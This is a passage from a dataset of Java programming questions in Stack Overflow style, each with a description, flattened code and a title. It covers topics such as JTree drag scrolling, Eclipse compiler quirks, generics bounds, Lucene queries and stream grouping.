'' '' } , { `` 2 '' , '' value # 2 '' , '' '' } , { `` 3 '' , '' value # 3 '' , '' '' } , { `` 4 '' , '' value # 4 '' , '' '' } } ; //id - tot C2 b [ ] = { { `` 1 '' , '' 2 '' } , { `` 2 '' , '' 11 '' } , { `` 4 '' , '' 15 '' } } ; C1 f [ ] = { { `` 1 '' , '' value # 1 '' , '' 2 '' } , { `` 2 '' , '' value # 2 '' , '' 11 '' } , { `` 3 '' , '' value # 3 '' , '' '' } , { `` 4 '' , '' value # 4 '' , '' 15 '' } } ;",Best way to merge two Arrays of Classes based on Class variable value +Java,"I have a JTree in a JScrollPane . The JTree is rather long so it takes a while to drag a node from the top of the tree to the bottom . When dragging a node the JScrollPane scrolls , but not nearly as fast as it scrolls using the mouse wheel . Implementing setUnitIncrement as suggested in the selected answer here makes the mouse wheel scroll speed even faster , but does not change the speed of dragging a node . The same is true when implementing setBlockIncrement . The speed of the scroll when dragging a node is about the same as if I were to hold the up or down arrow and traverse the JTree in that manner.How can I speed up the speed of dragging a node ? UPDATE 1 : Here is an SSCCE as requested . Most of this code I ripped off from here because it is good at illustrating the problem I am having . Just drag a node to a part of the tree that is n't visible in the scroll pane and you will see how slow scrolling is . This is what I want to speed up.SUCCESS ! I was able finally able to speed up the scrolling when dragging . In fact I was also able to make the scroll speed variable based on how close the cursor is to the top or bottom of the tree . Ended up being a lot simpler than I was making it . Did n't even need a listener . Just diff these two code examples to see what I added .","package example ; import java.awt.datatransfer . * ; import java.util . * ; import javax.swing . * ; import javax.swing.tree . * ; public class Example { private JScrollPane getContent ( ) { ArrayList < String > arrayList = new ArrayList < String > ( ) ; for ( int i = 0 ; i < 3000 ; i++ ) { arrayList.add ( String.format ( `` Node % d '' , i ) ) ; } DefaultMutableTreeNode root = new DefaultMutableTreeNode ( `` Root '' ) ; for ( String s : arrayList ) { root.add ( new DefaultMutableTreeNode ( s ) ) ; } JTree tree = new JTree ( root ) ; tree.setDragEnabled ( true ) ; tree.setDropMode ( DropMode.ON_OR_INSERT ) ; tree.setTransferHandler ( new TreeTransferHandler ( ) ) ; tree.getSelectionModel ( ) .setSelectionMode ( TreeSelectionModel.CONTIGUOUS_TREE_SELECTION ) ; expandTree ( tree ) ; return new JScrollPane ( tree ) ; } private void expandTree ( JTree tree ) { DefaultMutableTreeNode root = ( DefaultMutableTreeNode ) tree.getModel ( ) .getRoot ( ) ; Enumeration e = root.breadthFirstEnumeration ( ) ; while ( e.hasMoreElements ( ) ) { DefaultMutableTreeNode node = ( DefaultMutableTreeNode ) e.nextElement ( ) ; if ( node.isLeaf ( ) ) { continue ; } int row = tree.getRowForPath ( new TreePath ( node.getPath ( ) ) ) ; tree.expandRow ( row ) ; } } public static void main ( String [ ] args ) { JFrame f = new JFrame ( ) ; f.setDefaultCloseOperation ( JFrame.EXIT_ON_CLOSE ) ; f.add ( new Example ( ) .getContent ( ) ) ; f.setSize ( 400 , 400 ) ; f.setLocation ( 200 , 200 ) ; f.setVisible ( true ) ; } } class TreeTransferHandler extends TransferHandler { DataFlavor nodesFlavor ; DataFlavor [ ] flavors = new DataFlavor [ 1 ] ; DefaultMutableTreeNode [ ] nodesToRemove ; public TreeTransferHandler ( ) { try { String mimeType = DataFlavor.javaJVMLocalObjectMimeType + `` ; class=\ '' '' + javax.swing.tree.DefaultMutableTreeNode [ ] .class.getName ( ) + `` \ '' '' ; nodesFlavor = new DataFlavor ( mimeType ) ; flavors [ 0 ] = nodesFlavor ; } catch ( ClassNotFoundException e ) { System.out.println ( `` ClassNotFound : `` + e.getMessage ( ) ) ; } } public boolean canImport ( TransferHandler.TransferSupport support ) { if ( ! support.isDrop ( ) ) { return false ; } support.setShowDropLocation ( true ) ; if ( ! support.isDataFlavorSupported ( nodesFlavor ) ) { return false ; } // Do not allow a drop on the drag source selections . JTree.DropLocation dl = ( JTree.DropLocation ) support.getDropLocation ( ) ; JTree tree = ( JTree ) support.getComponent ( ) ; int dropRow = tree.getRowForPath ( dl.getPath ( ) ) ; int [ ] selRows = tree.getSelectionRows ( ) ; for ( int i = 0 ; i < selRows.length ; i++ ) { if ( selRows [ i ] == dropRow ) { return false ; } } // Do not allow MOVE-action drops if a non-leaf node is // selected unless all of its children are also selected . int action = support.getDropAction ( ) ; if ( action == MOVE ) { return haveCompleteNode ( tree ) ; } // Do not allow a non-leaf node to be copied to a level // which is less than its source level . TreePath dest = dl.getPath ( ) ; DefaultMutableTreeNode target = ( DefaultMutableTreeNode ) dest.getLastPathComponent ( ) ; TreePath path = tree.getPathForRow ( selRows [ 0 ] ) ; DefaultMutableTreeNode firstNode = ( DefaultMutableTreeNode ) path.getLastPathComponent ( ) ; if ( firstNode.getChildCount ( ) > 0 & & target.getLevel ( ) < firstNode.getLevel ( ) ) { return false ; } return true ; } private boolean haveCompleteNode ( JTree tree ) { int [ ] selRows = tree.getSelectionRows ( ) ; TreePath path = tree.getPathForRow ( selRows [ 0 ] ) ; DefaultMutableTreeNode first = ( DefaultMutableTreeNode ) path.getLastPathComponent ( ) ; int childCount = first.getChildCount ( ) ; // first has children and no children are selected . if ( childCount > 0 & & selRows.length == 1 ) { return false ; } // first may have children . for ( int i = 1 ; i < selRows.length ; i++ ) { path = tree.getPathForRow ( selRows [ i ] ) ; DefaultMutableTreeNode next = ( DefaultMutableTreeNode ) path.getLastPathComponent ( ) ; if ( first.isNodeChild ( next ) ) { // Found a child of first . if ( childCount > selRows.length - 1 ) { // Not all children of first are selected . return false ; } } } return true ; } protected Transferable createTransferable ( JComponent c ) { JTree tree = ( JTree ) c ; TreePath [ ] paths = tree.getSelectionPaths ( ) ; if ( paths ! = null ) { // Make up a node array of copies for transfer and // another for/of the nodes that will be removed in // exportDone after a successful drop . List < DefaultMutableTreeNode > copies = new ArrayList < DefaultMutableTreeNode > ( ) ; List < DefaultMutableTreeNode > toRemove = new ArrayList < DefaultMutableTreeNode > ( ) ; DefaultMutableTreeNode node = ( DefaultMutableTreeNode ) paths [ 0 ] .getLastPathComponent ( ) ; DefaultMutableTreeNode copy = copy ( node ) ; copies.add ( copy ) ; toRemove.add ( node ) ; for ( int i = 1 ; i < paths.length ; i++ ) { DefaultMutableTreeNode next = ( DefaultMutableTreeNode ) paths [ i ] .getLastPathComponent ( ) ; // Do not allow higher level nodes to be added to list . if ( next.getLevel ( ) < node.getLevel ( ) ) { break ; } else if ( next.getLevel ( ) > node.getLevel ( ) ) { // child node copy.add ( copy ( next ) ) ; // node already contains child } else { // sibling copies.add ( copy ( next ) ) ; toRemove.add ( next ) ; } } DefaultMutableTreeNode [ ] nodes = copies.toArray ( new DefaultMutableTreeNode [ copies.size ( ) ] ) ; nodesToRemove = toRemove.toArray ( new DefaultMutableTreeNode [ toRemove.size ( ) ] ) ; return new NodesTransferable ( nodes ) ; } return null ; } /** * Defensive copy used in createTransferable . */ private DefaultMutableTreeNode copy ( TreeNode node ) { return new DefaultMutableTreeNode ( node ) ; } protected void exportDone ( JComponent source , Transferable data , int action ) { if ( ( action & MOVE ) == MOVE ) { JTree tree = ( JTree ) source ; DefaultTreeModel model = ( DefaultTreeModel ) tree.getModel ( ) ; // Remove nodes saved in nodesToRemove in createTransferable . for ( int i = 0 ; i < nodesToRemove.length ; i++ ) { model.removeNodeFromParent ( nodesToRemove [ i ] ) ; } } } public int getSourceActions ( JComponent c ) { return COPY_OR_MOVE ; } public boolean importData ( TransferHandler.TransferSupport support ) { if ( ! canImport ( support ) ) { return false ; } // Extract transfer data . DefaultMutableTreeNode [ ] nodes = null ; try { Transferable t = support.getTransferable ( ) ; nodes = ( DefaultMutableTreeNode [ ] ) t.getTransferData ( nodesFlavor ) ; } catch ( UnsupportedFlavorException ufe ) { System.out.println ( `` UnsupportedFlavor : `` + ufe.getMessage ( ) ) ; } catch ( java.io.IOException ioe ) { System.out.println ( `` I/O error : `` + ioe.getMessage ( ) ) ; } // Get drop location info . JTree.DropLocation dl = ( JTree.DropLocation ) support.getDropLocation ( ) ; int childIndex = dl.getChildIndex ( ) ; TreePath dest = dl.getPath ( ) ; DefaultMutableTreeNode parent = ( DefaultMutableTreeNode ) dest.getLastPathComponent ( ) ; JTree tree = ( JTree ) support.getComponent ( ) ; DefaultTreeModel model = ( DefaultTreeModel ) tree.getModel ( ) ; // Configure for drop mode . int index = childIndex ; // DropMode.INSERT if ( childIndex == -1 ) { // DropMode.ON index = parent.getChildCount ( ) ; } // Add data to model . for ( int i = 0 ; i < nodes.length ; i++ ) { model.insertNodeInto ( nodes [ i ] , parent , index++ ) ; } return true ; } public String toString ( ) { return getClass ( ) .getName ( ) ; } public class NodesTransferable implements Transferable { DefaultMutableTreeNode [ ] nodes ; public NodesTransferable ( DefaultMutableTreeNode [ ] nodes ) { this.nodes = nodes ; } public Object getTransferData ( DataFlavor flavor ) throws UnsupportedFlavorException { if ( ! isDataFlavorSupported ( flavor ) ) { throw new UnsupportedFlavorException ( flavor ) ; } return nodes ; } public DataFlavor [ ] getTransferDataFlavors ( ) { return flavors ; } public boolean isDataFlavorSupported ( DataFlavor flavor ) { return nodesFlavor.equals ( flavor ) ; } } } package example ; import java.awt.Point ; import java.awt.Rectangle ; import java.awt.datatransfer . * ; import java.util . * ; import javax.swing . * ; import javax.swing.tree . * ; public class Example { private JScrollPane getContent ( ) { ArrayList < String > arrayList = new ArrayList < String > ( ) ; for ( int i = 0 ; i < 3000 ; i++ ) { arrayList.add ( String.format ( `` Node % d '' , i ) ) ; } DefaultMutableTreeNode root = new DefaultMutableTreeNode ( `` Root '' ) ; for ( String s : arrayList ) { root.add ( new DefaultMutableTreeNode ( s ) ) ; } JTree tree = new JTree ( root ) ; tree.setDragEnabled ( true ) ; tree.setDropMode ( DropMode.ON_OR_INSERT ) ; tree.setTransferHandler ( new TreeTransferHandler ( ) ) ; tree.getSelectionModel ( ) .setSelectionMode ( TreeSelectionModel.CONTIGUOUS_TREE_SELECTION ) ; expandTree ( tree ) ; return new JScrollPane ( tree ) ; } private void expandTree ( JTree tree ) { DefaultMutableTreeNode root = ( DefaultMutableTreeNode ) tree.getModel ( ) .getRoot ( ) ; Enumeration e = root.breadthFirstEnumeration ( ) ; while ( e.hasMoreElements ( ) ) { DefaultMutableTreeNode node = ( DefaultMutableTreeNode ) e.nextElement ( ) ; if ( node.isLeaf ( ) ) { continue ; } int row = tree.getRowForPath ( new TreePath ( node.getPath ( ) ) ) ; tree.expandRow ( row ) ; } } public static void main ( String [ ] args ) { JFrame f = new JFrame ( ) ; f.setDefaultCloseOperation ( JFrame.EXIT_ON_CLOSE ) ; f.add ( new Example ( ) .getContent ( ) ) ; f.setSize ( 400 , 400 ) ; f.setLocation ( 200 , 200 ) ; f.setVisible ( true ) ; } } class TreeTransferHandler extends TransferHandler { DataFlavor nodesFlavor ; DataFlavor [ ] flavors = new DataFlavor [ 1 ] ; DefaultMutableTreeNode [ ] nodesToRemove ; public TreeTransferHandler ( ) { try { String mimeType = DataFlavor.javaJVMLocalObjectMimeType + `` ; class=\ '' '' + javax.swing.tree.DefaultMutableTreeNode [ ] .class.getName ( ) + `` \ '' '' ; nodesFlavor = new DataFlavor ( mimeType ) ; flavors [ 0 ] = nodesFlavor ; } catch ( ClassNotFoundException e ) { System.out.println ( `` ClassNotFound : `` + e.getMessage ( ) ) ; } } public boolean canImport ( TransferHandler.TransferSupport support ) { if ( ! support.isDrop ( ) ) { return false ; } boolean isScrolling = false ; JTree tree = ( JTree ) support.getComponent ( ) ; JViewport vp = ( JViewport ) tree.getParent ( ) ; Point vpMousePosition = vp.getMousePosition ( ) ; Rectangle treeVisibleRectangle = tree.getVisibleRect ( ) ; // Do n't attempt scroll if mouse is n't over tree if ( vpMousePosition ! = null ) { Integer newY = null ; // Make sure we are n't already scrolled all the way down if ( tree.getHeight ( ) - treeVisibleRectangle.y ! = vp.getHeight ( ) ) { /* * Get Y coordinate for scrolling down */ if ( vp.getHeight ( ) - vpMousePosition.y < 10 ) { newY = treeVisibleRectangle.y + 500 ; } else if ( vp.getHeight ( ) - vpMousePosition.y < 20 ) { newY = treeVisibleRectangle.y + 400 ; } else if ( vp.getHeight ( ) - vpMousePosition.y < 30 ) { newY = treeVisibleRectangle.y + 300 ; } else if ( vp.getHeight ( ) - vpMousePosition.y < 40 ) { newY = treeVisibleRectangle.y + 200 ; } else if ( vp.getHeight ( ) - vpMousePosition.y < 50 ) { newY = treeVisibleRectangle.y + 100 ; } else if ( vp.getHeight ( ) - vpMousePosition.y < 60 ) { newY = treeVisibleRectangle.y + 50 ; } else if ( vp.getHeight ( ) - vpMousePosition.y < 70 ) { newY = treeVisibleRectangle.y + 25 ; } else if ( vp.getHeight ( ) - vpMousePosition.y < 80 ) { newY = treeVisibleRectangle.y + 10 ; } } // Make sure we are n't already scrolled all the way up if ( newY == null & & treeVisibleRectangle.y ! = 0 ) { /* * Get Y coordinate for scrolling up */ if ( 10 > vpMousePosition.y ) { newY = treeVisibleRectangle.y - 500 ; } else if ( 20 > vpMousePosition.y ) { newY = treeVisibleRectangle.y - 400 ; } else if ( 30 > vpMousePosition.y ) { newY = treeVisibleRectangle.y - 300 ; } else if ( 40 > vpMousePosition.y ) { newY = treeVisibleRectangle.y - 200 ; } else if ( 50 > vpMousePosition.y ) { newY = treeVisibleRectangle.y - 100 ; } else if ( 60 > vpMousePosition.y ) { newY = treeVisibleRectangle.y - 50 ; } else if ( 70 > vpMousePosition.y ) { newY = treeVisibleRectangle.y - 25 ; } else if ( 80 > vpMousePosition.y ) { newY = treeVisibleRectangle.y - 10 ; } } // Do the scroll if ( newY ! = null ) { Rectangle treeNewVisibleRectangle = new Rectangle ( treeVisibleRectangle.x , newY , treeVisibleRectangle.width , treeVisibleRectangle.height ) ; tree.scrollRectToVisible ( treeNewVisibleRectangle ) ; isScrolling = true ; } } if ( isScrolling ) { return false ; } support.setShowDropLocation ( true ) ; if ( ! support.isDataFlavorSupported ( nodesFlavor ) ) { return false ; } // Do not allow a drop on the drag source selections . JTree.DropLocation dl = ( JTree.DropLocation ) support.getDropLocation ( ) ; int dropRow = tree.getRowForPath ( dl.getPath ( ) ) ; int [ ] selRows = tree.getSelectionRows ( ) ; for ( int i = 0 ; i < selRows.length ; i++ ) { if ( selRows [ i ] == dropRow ) { return false ; } } // Do not allow MOVE-action drops if a non-leaf node is // selected unless all of its children are also selected . int action = support.getDropAction ( ) ; if ( action == MOVE ) { return haveCompleteNode ( tree ) ; } // Do not allow a non-leaf node to be copied to a level // which is less than its source level . TreePath dest = dl.getPath ( ) ; DefaultMutableTreeNode target = ( DefaultMutableTreeNode ) dest.getLastPathComponent ( ) ; TreePath path = tree.getPathForRow ( selRows [ 0 ] ) ; DefaultMutableTreeNode firstNode = ( DefaultMutableTreeNode ) path.getLastPathComponent ( ) ; if ( firstNode.getChildCount ( ) > 0 & & target.getLevel ( ) < firstNode.getLevel ( ) ) { return false ; } return true ; } private boolean haveCompleteNode ( JTree tree ) { int [ ] selRows = tree.getSelectionRows ( ) ; TreePath path = tree.getPathForRow ( selRows [ 0 ] ) ; DefaultMutableTreeNode first = ( DefaultMutableTreeNode ) path.getLastPathComponent ( ) ; int childCount = first.getChildCount ( ) ; // first has children and no children are selected . if ( childCount > 0 & & selRows.length == 1 ) { return false ; } // first may have children . for ( int i = 1 ; i < selRows.length ; i++ ) { path = tree.getPathForRow ( selRows [ i ] ) ; DefaultMutableTreeNode next = ( DefaultMutableTreeNode ) path.getLastPathComponent ( ) ; if ( first.isNodeChild ( next ) ) { // Found a child of first . if ( childCount > selRows.length - 1 ) { // Not all children of first are selected . return false ; } } } return true ; } protected Transferable createTransferable ( JComponent c ) { JTree tree = ( JTree ) c ; TreePath [ ] paths = tree.getSelectionPaths ( ) ; if ( paths ! = null ) { // Make up a node array of copies for transfer and // another for/of the nodes that will be removed in // exportDone after a successful drop . List < DefaultMutableTreeNode > copies = new ArrayList < DefaultMutableTreeNode > ( ) ; List < DefaultMutableTreeNode > toRemove = new ArrayList < DefaultMutableTreeNode > ( ) ; DefaultMutableTreeNode node = ( DefaultMutableTreeNode ) paths [ 0 ] .getLastPathComponent ( ) ; DefaultMutableTreeNode copy = copy ( node ) ; copies.add ( copy ) ; toRemove.add ( node ) ; for ( int i = 1 ; i < paths.length ; i++ ) { DefaultMutableTreeNode next = ( DefaultMutableTreeNode ) paths [ i ] .getLastPathComponent ( ) ; // Do not allow higher level nodes to be added to list . if ( next.getLevel ( ) < node.getLevel ( ) ) { break ; } else if ( next.getLevel ( ) > node.getLevel ( ) ) { // child node copy.add ( copy ( next ) ) ; // node already contains child } else { // sibling copies.add ( copy ( next ) ) ; toRemove.add ( next ) ; } } DefaultMutableTreeNode [ ] nodes = copies.toArray ( new DefaultMutableTreeNode [ copies.size ( ) ] ) ; nodesToRemove = toRemove.toArray ( new DefaultMutableTreeNode [ toRemove.size ( ) ] ) ; return new NodesTransferable ( nodes ) ; } return null ; } /** * Defensive copy used in createTransferable . */ private DefaultMutableTreeNode copy ( TreeNode node ) { return new DefaultMutableTreeNode ( node ) ; } protected void exportDone ( JComponent source , Transferable data , int action ) { if ( ( action & MOVE ) == MOVE ) { JTree tree = ( JTree ) source ; DefaultTreeModel model = ( DefaultTreeModel ) tree.getModel ( ) ; // Remove nodes saved in nodesToRemove in createTransferable . for ( int i = 0 ; i < nodesToRemove.length ; i++ ) { model.removeNodeFromParent ( nodesToRemove [ i ] ) ; } } } public int getSourceActions ( JComponent c ) { return COPY_OR_MOVE ; } public boolean importData ( TransferHandler.TransferSupport support ) { if ( ! canImport ( support ) ) { return false ; } // Extract transfer data . DefaultMutableTreeNode [ ] nodes = null ; try { Transferable t = support.getTransferable ( ) ; nodes = ( DefaultMutableTreeNode [ ] ) t.getTransferData ( nodesFlavor ) ; } catch ( UnsupportedFlavorException ufe ) { System.out.println ( `` UnsupportedFlavor : `` + ufe.getMessage ( ) ) ; } catch ( java.io.IOException ioe ) { System.out.println ( `` I/O error : `` + ioe.getMessage ( ) ) ; } // Get drop location info . JTree.DropLocation dl = ( JTree.DropLocation ) support.getDropLocation ( ) ; int childIndex = dl.getChildIndex ( ) ; TreePath dest = dl.getPath ( ) ; DefaultMutableTreeNode parent = ( DefaultMutableTreeNode ) dest.getLastPathComponent ( ) ; JTree tree = ( JTree ) support.getComponent ( ) ; DefaultTreeModel model = ( DefaultTreeModel ) tree.getModel ( ) ; // Configure for drop mode . int index = childIndex ; // DropMode.INSERT if ( childIndex == -1 ) { // DropMode.ON index = parent.getChildCount ( ) ; } // Add data to model . for ( int i = 0 ; i < nodes.length ; i++ ) { model.insertNodeInto ( nodes [ i ] , parent , index++ ) ; } return true ; } public String toString ( ) { return getClass ( ) .getName ( ) ; } public class NodesTransferable implements Transferable { DefaultMutableTreeNode [ ] nodes ; public NodesTransferable ( DefaultMutableTreeNode [ ] nodes ) { this.nodes = nodes ; } public Object getTransferData ( DataFlavor flavor ) throws UnsupportedFlavorException { if ( ! isDataFlavorSupported ( flavor ) ) { throw new UnsupportedFlavorException ( flavor ) ; } return nodes ; } public DataFlavor [ ] getTransferDataFlavors ( ) { return flavors ; } public boolean isDataFlavorSupported ( DataFlavor flavor ) { return nodesFlavor.equals ( flavor ) ; } } }",How to speed up scrolling speed when dragging a JTree node inside of JScrollPane +Java,"I have the following code : This code works fine when compiled with javac 1.8.0_101 , and produces the number 0 to 9 as expected.But when I use this code in eclipse , it tells me that at o.i : And producing an error when executing this : Why do I need to use javac to compile this code ? And how do I get eclipse to behave ? Edit : I did some tests and it works in ecj as long as I do n't create the instance in a lambda :","package test ; import java.util.stream.IntStream ; public class A { public static void main ( String [ ] args ) { IntStream.range ( 0 , 10 ) .mapToObj ( n - > new Object ( ) { int i = n ; } ) .mapToInt ( o - > o.i ) .forEachOrdered ( System.out : :println ) ; } } i can not be resolved or is not a field Exception in thread `` main '' java.lang.Error : Unresolved compilation problem : i can not be resolved or is not a field at test.A.main ( A.java:9 ) package test ; import java.util.Optional ; import java.util.function.Supplier ; public class B { public static void main ( String [ ] args ) { // This works fine : System.out.println ( new Object ( ) { int j = 5 ; } .j ) ; // This also System.out.println ( trace ( new Object ( ) { int j = 5 ; } ) .j ) ; // Also no problem System.out.println ( unwrapAndTrace ( Optional.of ( new Object ( ) { int j = 5 ; } ) ) .j ) ; // Lambdas work : System.out.println ( ( ( Supplier & Serializable ) ( ) - > new Object ( ) ) .get ( ) ) ; // This does n't work . System.out.println ( invokeAndTrace ( ( ) - > new Object ( ) { int j = 5 ; } ) .j ) ; } public static < T > T trace ( T obj ) { System.out.println ( obj ) ; return obj ; } public static < T > T invokeAndTrace ( Supplier < T > supplier ) { T result = supplier.get ( ) ; System.out.println ( result ) ; return result ; } public static < T > T unwrapAndTrace ( Optional < T > optional ) { T result = optional.get ( ) ; System.out.println ( result ) ; return result ; } }",Why ca n't the eclipse java compiler ( ecj ) compile this ? +Java,I have a list of column definitions for a JTable TableModel with the column `` B '' having a setter BiConsumer which accepts a BauwerkOption class and a string . When I try to set the string in the line with `` ... accept ... '' I get following error : What is wrong with my code ? Is it even possible what I am trying to do ?,"The method accept ( Selektierung.BauwerkOption , capture # 4-of ? extends Object ) in the type BiConsumer < Selektierung.BauwerkOption , capture # 4-of ? extends Object > is not applicable for the arguments ( Selektierung.BauwerkOption , Object ) public class TableModelSelektierung extends DefaultTableModel { private static final long serialVersionUID = -5921626198599251183L ; private List < BauwerkOption > data ; private static List < ColDef < BauwerkOption , ? extends Object > > DEF = new ArrayList < > ( ) ; static { DEF.add ( new ColDef < BauwerkOption , String > ( `` A '' , ( o ) - > o.getBauwerkstyp ( ) ) ) ; DEF.add ( new ColDef < BauwerkOption , String > ( `` B '' , ( o ) - > o.getBezeichnung ( ) ) .withSetValueAtFunction ( ( i , o ) - > i.setBauwerkstyp ( o ) ) ) ; DEF.add ( new ColDef < BauwerkOption , String > ( `` C '' , ( o ) - > o.getNutzungsart ( ) ) ) ; DEF.add ( new ColDef < BauwerkOption , Double > ( `` D '' , ( o ) - > o.getDurchmesser ( ) ) ) ; } @ Override public int getColumnCount ( ) { return DEF.size ( ) ; } @ Override public boolean isCellEditable ( int row , int column ) { return DEF.get ( row ) .getValueSetterFunction ( ) == null ; } @ Override public int getRowCount ( ) { if ( data ! = null ) { return data.size ( ) ; } return 0 ; } @ Override public String getColumnName ( int column ) { return DEF.get ( column ) .getTitle ( ) ; } public void setData ( List < BauwerkOption > data ) { this.data = data ; fireTableDataChanged ( ) ; } public BauwerkOption getObjectAt ( int row ) { return data.get ( row ) ; } @ Override public void setValueAt ( Object aValue , int row , int column ) { if ( DEF.get ( column ) .getValueSetterFunction ( ) ! = null ) { DEF.get ( column ) .getValueSetterFunction ( ) .accept ( getObjectAt ( row ) , aValue ) ; } } @ Override public Object getValueAt ( int row , int column ) { BauwerkOption o = getObjectAt ( row ) ; return DEF.get ( column ) .getValueGetterFunction ( ) .apply ( o ) ; } } class ColDef < InputObjekt , OutputValue > { private String title ; private Function < InputObjekt , OutputValue > valueGetterFunction ; private BiConsumer < InputObjekt , OutputValue > valueSetterFunction ; public ColDef ( String title , Function < InputObjekt , OutputValue > valueGetterFunction ) { this.title = title ; this.valueGetterFunction = valueGetterFunction ; } public ColDef < InputObjekt , OutputValue > withSetValueAtFunction ( BiConsumer < InputObjekt , OutputValue > valueSetterFunction ) { this.valueSetterFunction = valueSetterFunction ; return this ; } public Function < InputObjekt , OutputValue > getValueGetterFunction ( ) { return valueGetterFunction ; } public String getTitle ( ) { return title ; } public BiConsumer < InputObjekt , OutputValue > getValueSetterFunction ( ) { return valueSetterFunction ; } } class BauwerkOption { public BauwerkOption ( ) { } public String getBezeichnung ( ) { return `` '' ; } public String getBauwerkstyp ( ) { return `` '' ; } public Double getDurchmesser ( ) { return 0d ; } public String getNutzungsart ( ) { return `` todo '' ; } public void setBauwerkstyp ( String s ) { } }",Make BiConsumer accept object +Java,"Please excuse my novice question . I have tried searching for answers , but searching for this sort of thing is quite difficult given the keywords ... I am using Lucene 5.2.x to index a set of documents and each document has two fields : id and description . I get a set of ids from previous query in the system . Now , I would like to get Lucene text search results on the description but only from documents in the set of ids . Were I doing this ( naively ) in MySQL , I might do something like : The set of ids maybe tens of thousands . What is the best approach to this with Lucene ? Can I construct a Lucene query to handle this efficiently , or should I search my entire document index and then do a set intersection ? Something else ? Thank you !","SELECT * FROM mytable WHERE description LIKE 'blah % ' AND id IN ( 6345 , 5759 , 333 , ... )",Lucene - equivalent of SQL `` IN '' keyword +Java,"I have a family of domain models , each of which has a subclass that extends it and implements a specific interface , like this ( Cloneable is not the interface in question , it 's for example purposes only ) : I want to create a generic type signature that will enforce this pairing , I 've tried this which FAILS : but I get message in my IntelliJ IDE `` Type parameter can not be followed by other bounds '' ; it still FAILS if I switch the order around to : I get the message `` Interface expected here . '' Confusingly , both of these signatures WORK : Is this just a weird limitation of Java 's generic type system that I can not have a generic class ( ie T2 ) extend both another generic class ( ie T1 ) and a concrete interface ( eg Cloneable ) ? tl ; dr : So , why wo n't < T1 , T2 extends Cloneable & T1 > void f ( T1 t1 , T2 t2 ) { } compile : is it a limitation of the Java generic syntax or am I using the wrong syntax ?","class A { } class B extends A implements Cloneable { } class C { } class D extends C implements Cloneable { } < T1 , T2 extends T1 & Cloneable > void f ( T1 t1 , T2 t2 ) { } < T1 , T2 extends Cloneable & T1 > void f ( T1 t1 , T2 t2 ) { } < T extends A & Cloneable > void f ( A a , T t ) { } < T1 , T2 extends T1 > void f ( T1 t1 , T2 t2 ) { }",Can you specify a generic type that subclasses another generic type _and_ a concrete interface ? +Java,"My searches on SO have failed me , so if this is a duplicate , please redirect me.With that out of the way , my question : I learned , from experience and browsing SO that a Java boolean is stored as a 32-bit int if you declare it as a standalone value , but as an 8-bit byte if you declare it within an array . My question , here , is as follows : Which is more memory efficient ? Does the meta data of the array make it bigger in memory than the alternative ?","boolean oneVariable = false , oneArray [ ] = { false } ;",Is an array of one boolean in Java smaller than a standalone variable ? +Java,"I 'm a .NET guy , so let me first assert my understanding of a few Java concepts - correct me if I 'm wrong.Java Generics support the concept of bounded wildcards : ... which is similar to the .NET where restriction : Java 's Class class describes a type , and is roughly equivalent to .NET Type classSo far , so good . But I ca n't find a close enough equivalence to the Java genericly typed Class < T > where T is a bounded wildcard . This basically imposes a restriction on the types that the Class represents.Let me give an example in Java.The closest I could get in .NET is something like this : The Java version looks cleaner to me . Is there a way to improve the .NET counterpart ?","class GenericClass < ? extends IInterface > { ... } class GenericClass < T > where T : IInterface { ... } String custSortclassName = GetClassName ( ) ; //only known at runtime , // e.g . it can come from a config fileClass < ? extends IExternalSort > customClass = Class.forName ( `` MyExternalSort '' ) .asSubclass ( IExternalSort.class ) ; //this checks for correctnessIExternalSort impl = customClass.newInstance ( ) ; //look ma ' , no casting ! String custSortclassName = GetClassName ( ) ; //only known at runtime , // e.g . it can come from a config fileAssembly assy = GetAssembly ( ) ; //unimportant Type customClass = assy.GetType ( custSortclassName ) ; if ( ! customClass.IsSubclassOf ( typeof ( IExternalSort ) ) ) { throw new InvalidOperationException ( ... ) ; } IExternalSort impl = ( IExternalSort ) Activator.CreateInstance ( customClass ) ;",.Net equivalent for Java typed Class < > ? +Java,"I 've got two classes : they do n't have unique id fields ( which are required for JAX-B XMLID and XMLIDREF ) .Object instances : I want to marshall a to XML while storing the circular/cyclic dependency , something like : One of the frameworks I 've found that supports this is XStream : http : //x-stream.github.io/graphs.htmlWhat other frameworks support this feature ? Does some JAX-B implementations support it ?",public class A { B refToB ; } public class B { A refToA ; } A a = new A ( ) ; B b = new B ( ) ; a.refToB = b ; b.refToA = a ; < a id= '' gen-id-0 '' > < b > < a ref-id= '' gen-id-0 '' / > < /b > < /a >,Which Java XML binding framework supports circular/cyclic dependencies ? +Java,"Following class : I now have a List < Foo > which I want to convert to Map < Date , Map < String , Long > > ( Long should be a sum of numbers ) . What makes this hard is that I want exactly 26 entries in the inner map , where the 26th is called `` Others '' which sums up everything that has a number lower than the other 25.I came up with following code : As you can see , I have no idea how to check the number of elements which are already in the inner map . How can I get the current size of the inner map or is there another way to achieve what I want ? My Java 7 code : Edit : The map should help me to realize a table like this : But I need to sum the `` Others '' first.If you need any more infos feel free to ask","public class Foo { private Date date ; private String name ; private Long number ; } data.stream ( ) .collect ( Collectors.groupingBy ( e - > e.getDate ( ) , Collectors.groupingBy ( e - > { if ( /*get current size of inner map*/ > = 25 ) { return e.getName ( ) ; } else { return `` Other '' ; } } , Collectors.summingLong ( e - > e.getNumber ( ) ) ) ) ) ; Map < Date , Map < String , Long > > result = new LinkedHashMap < Date , Map < String , Long > > ( ) ; for ( Foo fr : data ) { if ( result.get ( fr.getDate ( ) ) == null ) { result.put ( fr.getDate ( ) , new LinkedHashMap < String , Long > ( ) ) ; } if ( result.get ( fr.getDate ( ) ) ! = null ) { if ( result.get ( fr.getDate ( ) ) .size ( ) > = 25 ) { if ( result.get ( fr.getDate ( ) ) .get ( `` Other '' ) == null ) { result.get ( fr.getDate ( ) ) .put ( `` Other '' , 0l ) ; } if ( result.get ( fr.getDate ( ) ) .get ( `` Other '' ) ! = null ) { long numbers= result.get ( fr.getDate ( ) ) .get ( `` Other '' ) ; result.get ( fr.getDate ( ) ) .replace ( `` Other '' , numbers+ fr.getNumbers ( ) ) ; } } else { result.get ( fr.getDate ( ) ) .put ( fr.getName ( ) , fr.getNumbers ( ) ) ; } } }","Java 8 Stream List < Foo > to Map < Date , Map < String , Long > > with conditional groupingBy" +Java,"When someone clicks on a link in a webpage of form `` com.foo.bar : //testtest '' I want it to open my unity game and for me to get the testtest data.I 'm an experienced programmer , but when it comes to android I kind of google my way around rather than really understanding anything . Bare that in mind . : ) I can react to links on android using intent-filters . However all the resources I 've found have assumed you can extend your main activity to capture the new intent . It 